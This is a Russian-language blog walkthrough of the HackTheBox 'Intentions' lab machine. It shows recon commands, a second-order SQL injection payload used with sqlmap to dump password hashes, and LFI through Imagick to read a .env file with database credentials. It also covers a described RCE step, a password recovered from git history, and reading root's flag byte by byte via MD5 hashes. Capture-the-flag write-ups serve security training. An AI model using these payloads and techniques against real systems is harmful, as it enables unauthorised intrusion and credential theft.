Блог

Разбор HackTheBox — Intensions (Hard)

Сложность:Hard
ОС:Linux
Баллы:40
IP:10.10.11.220
Теги:Second Order SQLi, LFI, MD5 cracking

Краткое описание решения

После первичной разведки веб-приложения мы обнаруживаем файл admin.js, который раскрывает сведения о различиях в работе разных версий API, поддерживаемых веб-сервисом. Далее, с помощью SQLi второго порядка получаем доступ к БД, содержащей учётные данные пользователей и авторизуемся в роли администратора веб-приложения. После чего, получим PHP-shell через возможности Imagick PHP и сможем выполнять команды от лица пользователя www-data. Затем повысимся до пользователя greg с помощью пароля к его УЗ на целевой машине, содержащегося в записях git и получим его флаг. Затем, раскроем значение флага пользователя root (альтернативно, ключа), получив первоначальные значения подстрок, MD5 хэши которых можно вывести с помощью утилиты scanner.

Фаза разведки

Проведём сканирование цели:

nmap -sV -sC -O -p- 10.10.11.220

PORT     STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 47:d2:00:66:27:5e:e6:9c:80:89:03:b5:8f:9e:60:e5 (ECDSA)
|_  256 c8:d0:ac:8d:29:9b:87:40:5f:1b:b0:a4:1d:53:8f:f1 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Intentions
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Сразу же добавим домен в /etc/hosts:

# HTB
10.10.11.220    intentions.htb

Далее, просмотрим основные разделы страницы на предмет полезной информации:

Веб-сервис предоставляет возможность регистрации, после чего пользователь может просматривать галерею картинок. На первый взгляд пока что небезопасный функционал не был обнаружен.

Попробуем осуществить сканирование директорий доступных в сервисе на предмет полезного лута. Для этого воспользуемся любым сканером, который будет Вам привычнее и удобнее:

gobuster dir -x php,txt,html,js,log -u http://intentions.htb -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -k

/gallery              (Status: 302) [Size: 330] [--> http://intentions.htb]
/admin                (Status: 302) [Size: 330] [--> http://intentions.htb]
/storage              (Status: 301) [Size: 178] [--> http://intentions.htb/storage/]
/css                  (Status: 301) [Size: 178] [--> http://intentions.htb/css/]
/js                   (Status: 301) [Size: 178] [--> http://intentions.htb/js/]
/logout               (Status: 302) [Size: 330] [--> http://intentions.htb]
/fonts                (Status: 301) [Size: 178] [--> http://intentions.htb/fonts/]
[...]
/js/login.js             (Status: 200) [Size: 279176]
/js/gallery.js           (Status: 200) [Size: 310841]
/js/admin.js             (Status: 200) [Size: 311246]
/js/app.js               (Status: 200) [Size: 433792]
/js/mdb.js               (Status: 200) [Size: 153684]

Обследуем содержимое js файлов на предмет уязвимых версий, УЗ в коде или дополнительной информации о работе сервиса:

login.js, gallery.js, app.js, mdb.js — не содержат сведений, которые бы позволили нам дальше развить атаку.

В свою очередь в конце файла admin.js можно найти следующее:

[...]
("\n                Recently we've had some copyrighted images slip through onto the gallery. 
\n                This could turn into a big issue for us so we are putting a new process in place that all new images must go through our legal council for approval.
\n                Any new images you would like to add to the gallery should be provided to legal with all relevant copyright information.
\n                I've assigned Greg to setup a process for legal to transfer approved images directly to the server to avoid any confusion or mishaps.
\n                This will be the only way to add images to our gallery going forward.
[...]
\n                Hey team, I've deployed the v2 API to production and have started using it in the admin section. 
\n                Let me know if you spot any bugs. 
\n                This will be a major security upgrade for our users, passwords no longer need to be transmitted to the server in clear text! 
\n                By hashing the password client side there is no risk to our users as BCrypt is basically uncrackable.
\n                This should take care of the concerns raised by our users regarding our lack of HTTPS connection.
\n            ")]),t._v(" "),e("p",{staticClass:"card-text"},[t._v("
\n                The v2 API also comes with some neat features we are testing that could allow users to apply cool effects to the images. I've included some examples on the image editing page, but feel free to browse all of the available effects for the module and suggest some: "),e("a",{attrs:{rel:"noopener noreferrer nofollow",href:"https://www.php.net/manual/en/class.imagick.php"}}
[...]

В этом комментарии говорится о том, что ранее произошёл инцидент связанный с загрузкой изображений, права на использование которых не были предоставлены автором и впредь изображения будут проверяться с помощью механизма, который настроил пользователь Greg.

Также, была запущена обновленная версия API и она используется для обработки запросов отправленных администратором веб-сервиса. Помимо этого, в обновлённой версии API доступно наложение эффектов на изображения с помощью PHP класса Imagick, но что более важно пароли от учётных записей не хранятся напрямую, но используются в хешированном виде.

Предположительно, следующим шагом будет получение доступа к администратору веб-сервиса для того чтобы эксплуатировать дополнительные возможности нового API.

Получение доступа к УЗ greg с помощью SQLi второго порядка

Вернёмся к действиям, которые можно осуществить в обычной учётной записи веб-сервиса и найдём, что при изменении раздела с предпочтениями жанров картинок отправляется следующий запрос:

POST /api/v1/gallery/user/genres HTTP/1.1
Host: intensions.htb
[...]
Content-Length: 31
Origin: http://intensions.htb
Connection: close
Referer: http://intensions.htb/gallery
Cookie:
[...]

{"genres":"food,travel,nature"}

Проверим наличие SQLi в параметр genres:

POST /api/v1/gallery/user/genres HTTP/1.1
Host: intensions.htb
[...]
Content-Length: 31
Origin: http://intensions.htb
Connection: close
Referer: http://intensions.htb/gallery
Cookie:
[...]

{"genres":"nature'+sleep(10) OR '1'='1'"}

Получили ответ с кодом 200 OK на этот запрос и телом: { "status":"success" }

Но при попытке просмотра результата работы инъекции с помощью просмотра ленты изображений (feed) следующим запросом получим ошибку:

GET /api/v1/gallery/user/feed HTTP/1.1
Host: intensions.htb
[...]
Connection: close
Referer: http://intensions.htb/gallery
Cookie:
[...]

Получили ответ с кодом 500 Internal Server Error и телом: { "message":"Server Error" }

Если же вернуть значения поля genres в изначальное, то можно заметить, что в случае корректной работы в ответ на GET-запрос к /api/v1/gallery/user/feed отправляются изображения с их соответствующими идентификаторами.

Такое поведение говорит о том, что для проверки на наличие SQLi нужно проверять её нахождение с помощью отправки двух запросов.

Cкопируем запросы в соответствующие файлы req1 и req2 и запустим утилиту SQLMap с параметрами:

sqlmap -r req1 --tamper=space2comment --batch --second-req req2

SQLi была обнаружена и мы получили доступ к содержимому БД. Выведем таблицу с пользователями:

$ sqlmap -r req1 --tamper=space2comment --batch --second-req req2 -D intentions -T users --dump

+----+--------------------------+-------+-------------------------------+---------------------------+--------------------------------------------------------------+---------------------+---------------------+
| id | name                     | admin | email                         | genres                    | password                                                     | created_at          | updated_at          |
+----+--------------------------+-------+-------------------------------+---------------------------+--------------------------------------------------------------+---------------------+---------------------+
| 1  | steve                    | 1     | steve@intentions.htb          | food,travel,nature        | $2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa | 2023-02-02 17:43:00 | 2023-02-02 17:43:00 |
| 2  | greg                     | 1     | greg@intentions.htb           | food,travel,nature        | $2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m | 2023-02-02 17:44:11 | 2023-02-02 17:44:11 |
| 3  | Melisa Runolfsson        | 0     | hettie.rutherford@example.org | food,travel,nature        | $2y$10$bymjBxAEluQZEc1O7r1h3OdmlHJpTFJ6CqL1x2ZfQ3paSf509bUJ6 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 4  | Camren Ullrich           | 0     | nader.alva@example.org        | food,travel,nature        | $2y$10$WkBf7NFjzE5GI5SP7hB5/uA9Bi/BmoNFIUfhBye4gUql/JIc/GTE2 | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
| 5  | Mr. Lucius Towne I       | 0     | jones.laury@example.com       | food,travel,nature        | $2y$10$JembrsnTWIgDZH3vFo1qT.Zf/hbphiPj1vGdVMXCk56icvD6mn/ae | 2023-02-02 18:02:37 | 2023-02-02 18:02:37 |
[...]

Из полученной таблицы пользователей также выяснили двух администраторов веб-сервиса — Greg и Steve, а также их почту и хэши.

Перехватим POST-запрос на авторизацию и изменим версию API на v2. С учётом исправления ошибок и формирования корректного запроса авторизации получим следующее:

POST /api/v2/auth/login HTTP/1.1
Host: intensions.htb
[...]
Content-Length: 102
Origin: http://intensions.htb
Connection: close
Referer: http://intensions.htb/gallery
Cookie:
[...]

{
"email":"greg@intensions.htb",
"hash":"$2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m"

}

Получили ответ с кодом 200 OK, кукой-токеном и телом: {«status»:»success»,»name»:»greg»}

LFI и Удалённое исполнение кода

Для пользователя Greg некоторые разделы веб-сервиса изменились:

При изменении изображений отправляется запрос со следующим телом, которое может говорить о наличии LFI:

[...]
{
   "path":"/var/www/html/intensions/storage/app/public/animals/ashlee-w-wv36v9TGNBw-upsplash.jpeg",
   "effect":"charcoal"
}

При изменении параметра пути возможно осуществить LFI: mvg:/file[20x20+20+20]

Таким образом мы можем прочесть файл переменных окружения (посредством mvg:/var/www/html/intentions/.env[20x20+20+20]) и получить дополнительную информацию о целевой машине:

APP_NAME=Intentions
APP_ENV=production
APP_KEY=base64:YDGHFO792XTVdInb9gGESbGCyRDsAIRCkKoIMwkyHHI=
APP_DEBUG=false
APP_URL=http://intentions.htb

LOG_CHANNEL=stack
LOG_DEPRECATIONS_CHANNEL=null
LOG_LEVEL=debug

DB_CONNECTION=mysql
DB_HOST=localhost
DB_PORT=3306
DB_DATABASE=intentions
DB_USERNAME=laravel
DB_PASSWORD=02mDWOgsOga03G385!!3Plcx
[...]

Получили ряд УЗ, которые, возможно, будут полезны нам в дальнейшем.

Как уже ранее выяснили на этапе разведки — для редактирования изображений в аккаунтах администраторов веб-сервиса используется Imagick PHP. Поиски уязвимостей этого PHP-класса привели к статье от PT SWARM, описывающей в том числе механизм эксплуатации MSL не только для LFI, но также и для загрузки PHP-shell (разделы Exploring the MSL Format и RCE #2: VID Scheme).

Повторим эту механику на нашей цели, в результате чего получим доступ через PHP-shell к пользователю www-data.

Повышение до пользователя Greg на целевой машине

Сразу после того как мы получаем доступ к пользователю www-data обнаруживаем в /var/www/html/intensions папку .git, но текущий пользователь не обладает правами, достаточными для чтения её содержимого. Мы можем упаковать эту папку в архив и загрузить её на машину атакующего для дальнейшего изучения возможного наличия УЗ локальных пользователей целевой машины:

cp -r .git /tmp/.git
tar -cvf git.tar /tmp/.git

После получения архива с содержимым и исследования его на наличие УЗ обнаружим следующее:

[...]

{
   public static function getToken($test, $admin = false) {
     $res = $test->postJson('/api/v1/auth/login', ['email' => 
     'greg@intentions.htb', 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!']);
     return $res ->headers->get('Authorization');
[...]

Получили пароль локального пользователя greg: Gr3g1sTh3B3stDev3l0per!1998!

Подключимся по протоколу SSH и получим флаг пользователя:

Повышение привилегий с помощью утилиты scanner

Ищем исполнимые файлы с возможностью запуска с привилегиями пользователя root: sudo -l

В предыдущем разделе мы выяснили, что пользователь greg является членом группы scanner.

Выведем все файлы, права на которые выданы членам группы scanner: find / -group scanner 2> /dev/null

Рассмотрим более подробно что из себя представляет /opt/scanner:

Утилита scanner предназначена для обнаружения дубликатов изображений или же загруженных без разрешения автора по MD5 и чёрному списку. В утилите доступен параметр -l, с помощью которого можно указывать количество байт файла, которые хэшируются. В случае текстовых файлов это равнозначно хэшированию первых n-символов. Отсюда выстраивается метод, с помощью которого мы можем прочитать флаг пользователя root.txt, поскольку директория с флагом нам заведомо известна. Альтернативно, таким же образом можно попытаться прочитать файл /root/.ssh/id_rsa, если он существует и с помощью этого ключа получить доступ от root.

Далее, с помощью сервиса CrackStation вычислим значение первого байта по полученному значению хэша MD5:

Это значит, что первый символ флага — 0.

Аналогично, автоматизируя процесс выясним, что:

MD5:451d61219a5767f9d0151f77f2709042 -> 0aa62b113d2e2c0d3409273c62807ebc

Получили флаг пользователя root!

Ссылки:

https://portswigger.net/web-security/sql-injection#second-order-sql-injection

https://book.hacktricks.xyz/pentesting-web/sql-injection/sqlmap/second-order-injection-sqlmap

https://blog.wm-team.cn/index.php/archives/38/

https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/